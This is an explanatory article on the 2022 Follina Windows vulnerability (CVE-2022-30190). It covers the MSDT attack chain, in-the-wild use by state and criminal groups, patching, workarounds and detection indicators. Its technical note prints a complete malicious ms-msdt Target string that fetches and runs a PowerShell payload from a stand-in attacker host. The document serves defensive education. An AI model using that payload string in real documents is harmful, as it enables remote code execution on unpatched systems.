Follina (CVE-2022-30190) was a zero-day vulnerability in Windows that allowed remote code execution simply by opening a Microsoft Word document - no macros, no macro enabling required, no clicking on embedded objects. The vulnerability exploited Microsoft Support Diagnostic Tool (MSDT), which Word could invoke automatically via the ms-msdt:// URL scheme embedded in a document's template link. Follina was publicly disclosed in May 2022 and was already being exploited in the wild before Microsoft released a patch. At least one nation-state actor and multiple cybercriminal groups adopted it within days of public disclosure.

The reaction to Follina's disclosure was notable because of what it showed about macros. For years, the primary mechanism for malware delivery via Office documents had been Visual Basic for Applications macros. Microsoft's response to macro-based attacks was to block macros from documents downloaded from the internet - a significant defensive measure announced and deployed in 2022. Follina emerged in the same month Microsoft was rolling out macro blocking, demonstrating that attackers would find macro alternatives. The cat-and-mouse dynamic between Office document weaponization and Microsoft's defenses continued.

How Follina Worked

Microsoft Word documents can reference external templates using a URL embedded in the document's relationships files (the XML files inside a Word document's ZIP container). When Word opens a document with an external template URL, it fetches the template. Normally this would fetch an .docx or .dotx file. Follina exploited the fact that Word would also follow ms-msdt:// protocol URLs - URLs that invoke the Windows Microsoft Support Diagnostic Tool.

MSDT is a Windows diagnostic utility that can receive URLs containing commands via the ms-msdt:// scheme. When Word followed the ms-msdt:// URL embedded in the template reference, MSDT was invoked with the attacker's parameters. The ms-msdt:// URL handler allowed passing a PowerShell command string that MSDT would execute. The result: opening a Word document triggered MSDT, which executed attacker-controlled PowerShell, with the privileges of the user who opened the document.

A particularly alarming variant did not require opening the document at all. Rich Text Format (.rtf) files that were malicious Follina documents could be exploited simply by viewing them in Windows Explorer's preview pane - the preview rendered enough of the RTF to trigger the template fetch, invoking MSDT without the user ever double-clicking the file.

[TECHNICAL NOTE]
Follina attack chain technical details: the malicious document's word/_rels/document.xml.rels or another relationships file contains a Target attribute pointing to a ms-msdt:// URL: Target="ms-msdt:/id PCWDiagnostic /skip force /param IT_BrowseForFile=h$(Invoke-Expression%20($(Invoke-WebRequest%20'http://attacker.com/payload.ps1').Content))i/../../../../../../../../../../Windows/System32/mpsigstub.exe". The URL structure exploits how MSDT parses parameters to inject a PowerShell Invoke-Expression command. When Word's template handler follows this URL, MSDT is launched with these parameters. MSDT's URL handling passes the IT_Browse parameter to a PowerShell invocation, executing the attacker's command. The escape sequence $(Invoke-Expression...) within the IT_Browse parameter is executed as PowerShell when MSDT processes it. The path traversal (../../../../../../Windows/System32/mpsigstub.exe) was part of satisfying MSDT's requirement for a valid file path parameter. Execution context: the user's current account privileges (administrator if the user runs as admin, standard user if not). No UAC bypass is included in the base exploit; standard privilege escalation techniques would be needed for admin access on standard user systems. The .rtf preview pane variant exploited how Windows Explorer renders RTF previews, invoking the same template fetch mechanism without file opening.

In-the-Wild Exploitation

Follina was not newly discovered by the researchers who named and disclosed it in May 2022. It had been submitted to Microsoft months earlier (April 2022) as a "non-security issue" - Microsoft initially concluded it was not a vulnerability. The researcher who submitted it, nao_sec, then observed what appeared to be active exploitation by a Chinese state actor (later identified as TA413, targeting Tibetan organizations) using a sample uploaded to VirusTotal. Nao_sec and other researchers then analyzed and publicly disclosed the technique.

After public disclosure, adoption was rapid. State-sponsored groups from China (TA413), Russia (multiple groups), and Belarus were observed using Follina within days. Criminal actors including QakBot operators and others incorporated it into their delivery campaigns. The Conti ransomware group (in its final days before disbanding) attempted to use it. The Chinese APT group TA413 was specifically noted for targeting Tibetan organizations using Follina-weaponized documents referencing Tibetan government themes.

Microsoft released an official patch on June 14, 2022 (Patch Tuesday). In the approximately three weeks between public disclosure and patch, defenders had to rely on workarounds. Microsoft provided workarounds including: disabling the ms-msdt:// URL scheme via registry key deletion; restricting Word's ability to follow external template URLs; and monitoring for suspicious MSDT invocations. These workarounds were effective but required active deployment.

[WARNING]
Follina was one of several high-profile vulnerabilities in 2022 that affected the way Windows handles URL schemes and protocol handlers - a class of Windows functionality that has historically been difficult to secure. The ms-msdt:// scheme was not widely known outside of enterprise IT support contexts; its ability to execute PowerShell via MSDT parameters was an implementation detail that became a significant attack surface. Microsoft's response to the April 2022 submission - classifying it as not a security issue - reflected a pattern in which vulnerabilities that require "unusual" exploitation paths are sometimes missed in initial triage. The Follina disclosure also demonstrated that macro blocking, while important, was not a complete defense against Office document weaponization. The attack surface of Office document rendering is broad: template links, OLE objects, DDE (Dynamic Data Exchange), DDEAUTO, linked objects, and various URL scheme handlers all potentially provide code execution paths. Defense against Office document attacks requires a layered approach: macro blocking, Protected View, WDAC policies, network filtering of malicious URLs, and monitoring for unusual process trees spawned from Office applications.

Legacy and the Microsoft Office Attack Surface

Follina accelerated Microsoft's work on reducing the attack surface of Office documents. The company's Protected View feature (which opens documents from untrusted sources in a read-only mode that doesn't execute dynamic content) was one mitigation, though attackers worked around Protected View by using document types or delivery vectors that bypassed it. The broader context of macro blocking plus Follina exploitation showed that the document-as-delivery-vehicle problem was structural.

Subsequent to Follina, Microsoft's Defender for Endpoint and Sentinel products gained specific detection rules for the ms-msdt:// exploitation technique, and Windows Defender Application Control policies could be configured to block MSDT execution from Office processes. The MSDT service itself was not disabled by default - it serves legitimate enterprise support functions - but organizations that did not use MSDT for support purposes could disable it entirely.

The Follina technique demonstrated that zero-click or near-zero-click code execution from document previewing was achievable in a fully patched Windows environment before the patch was available. The 20-day window between public disclosure and patch was sufficient for significant nation-state and criminal adoption. Speed of patching directly correlates to exposure window for exploited vulnerabilities.

[IOC]
Follina CVE-2022-30190 IOCs: vulnerability in MSDT (Microsoft Support Diagnostic Tool) invoked via ms-msdt:// URL scheme from Office applications. Exploitation trigger: opening a .docx, .doc, or .rtf file containing malicious template link; .rtf preview in Explorer preview pane (no open required). Attack indicator: Word (winword.exe), Excel (excel.exe), or other Office process spawning msdt.exe or triggering ms-msdt:// URI handler. Detection: process creation with parent winword.exe spawning cmd.exe, PowerShell.exe, or msdt.exe; msdt.exe invocations with command-line parameters containing PowerShell or unusual paths; network connections from MSDT to external URLs. YARA/Sigma rules available from community sources matching the ms-msdt:// URL pattern in document relationship files. Workarounds pre-patch: delete HKEY_CLASSES_ROOT\ms-msdt registry key to disable the URL scheme; configure Attack Surface Reduction rules to block office child process creation. Patch: Microsoft June 2022 Patch Tuesday (KB5014697 and others depending on Windows version). First in-the-wild exploitation: approximately April 2022 (TA413 targeting Tibetan organizations); widespread exploitation post-public-disclosure May-June 2022. Threat actors confirmed using: TA413 (China, Tibet), TA459 (China, telecom), QakBot operators, Conti remnants, multiple Russian APT groups, various criminal affiliates.